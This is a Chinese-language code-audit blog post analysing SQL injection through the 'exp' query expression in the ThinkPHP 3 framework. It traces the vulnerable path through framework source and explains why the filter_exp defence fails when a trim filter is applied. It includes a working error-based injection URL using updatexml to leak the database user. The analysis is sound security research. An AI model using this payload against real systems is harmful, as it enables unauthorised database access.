代码审计-Thinkphp3框架EXP表达式SQL注入

时间:2019-09-16
本文章向大家介绍代码审计-Thinkphp3框架EXP表达式SQL注入,主要包括代码审计-Thinkphp3框架EXP表达式SQL注入使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

最近看java框架源码也是看的有点头疼,好多还要复习熟悉

还有好多事没做...慢慢熬。

 

 

 

 

网上好像还没有特别详细的分析 我来误人子弟吧。

 

0x01 tp3 中的exp表达式

查询表达式的使用格式:

$map['字段名'] = array('表达式','查询条件');

表达式不分大小写,支持的查询表达式有下面几种,分别表示的含义是:

 

 

重点看exp 

 

 

 EXP表达式支持SQL语法查询 sql注入非常容易产生。

 

$map['id']  = array('in','1,3,8');

可以改成:

$map['id']  = array('exp',' IN (1,3,8) ');

exp查询的条件不会被当成字符串,所以后面的查询条件可以使用任何SQL支持的语法,包括使用函数和字段名称。查询表达式不仅可用于查询条件,也可以用于数据更新,例如:

支持更复杂的查询情况 例如:

$User = M("User"); // 实例化User对象
// 要修改的数据对象属性赋值
$data['name'] = 'ThinkPHP';
$data['score'] = array('exp','score+1');// 用户的积分加1
$User->where('id=5')->save($data); // 根据条件保存修改的数据 

 

 

 

表达式查询

$map['字段1']  = array('表达式','查询条件1');
$map['字段2']  = array('表达式','查询条件2');
$Model->where($map)->select(); 

 

 

 

 

 

 

0x02 exp表达式注入分析

上面很简单的演示了exp的使用,这时候传入数组即可,使用exp模式然后使底层sql语句直接拼接产生注入

http://www.qing-tp3.com/index.php/home/index/index2/?id[0]=exp&id[1]==updatexml(0,concat(0x0e,user(),0x0e),0)

F7跟进

 

跟到\ThinkPHP\Library\Think\Db\Driver.class.php 504行

           foreach ($where as $key=>$val){
                if(is_numeric($key)){
                    $key  = '_complex';
                }
                if(0===strpos($key,'_')) {
                    // 解析特殊条件表达式
                    $whereStr   .= $this->parseThinkWhere($key,$val);
                }else{
                    // 查询字段的安全过滤
                    // if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){
                    //     E(L('_EXPRESS_ERROR_').':'.$key);
                    // }
                    // 多条件支持
                    $multi  = is_array($val) &&  isset($val['_multi']);
                    $key    = trim($key);
                    if(strpos($key,'|')) { // 支持 name|title|nickname 方式定义查询字段
                        $array =  explode('|',$key);
                        $str   =  array();

 

 

 

查看判断

首先是parseKey()

 protected function parseKey(&$key) {
        $key   =  trim($key);
        if(!is_numeric($key) && !preg_match('/[,\'\"\*\(\)`.\s]/',$key)) {
           $key = '`'.$key.'`';
        }
        return $key;
    }

 

 

filter_exp

function filter_exp(&$value){

    if (in_array(strtolower($value),array('exp','or'))){

        $value .= ' ';

    }

}

 

I函数中重点代码:

 // 取值操作

        $data       =   $input[$name];

        is_array($data) && array_walk_recursive($data,'filter_exp');

        $filters    =   isset($filter)?$filter:C('DEFAULT_FILTER');

        if($filters) {

            if(is_string($filters)){

                $filters    =   explode(',',$filters);

            }elseif(is_int($filters)){

                $filters    =   array($filters);

            }

            

            foreach($filters as $filter){

                if(function_exists($filter)) {

                    $data   =   is_array($data)?array_map_recursive($filter,$data):$filter($data); // 参数过滤

                }else{

                    $data   =   filter_var($data,is_int($filter)?$filter:filter_id($filter));

                    if(false === $data) {

                        return   isset($default)?$default:NULL;

                    }

                }

            }

        }

    }else{ // 变量默认值

        $data       =    isset($default)?$default:NULL;

    }

 

那么可以看到这里是没有任何有效的过滤的 即时是filter_exp,如果写的是

filter_exp在I函数的fiter之前,所以如果开发者这样写I('get.id', '', 'trim'),那么会直接清除掉exp后面的空格,导致过滤无效。

返回:

}else {
                $whereStr .= $key.' = '.$this->parseValue($val);
            }
        }
        return $whereStr;

 

 

 

 

 

 

 

 

 

 

 

 

 

$flag 上一页 下一页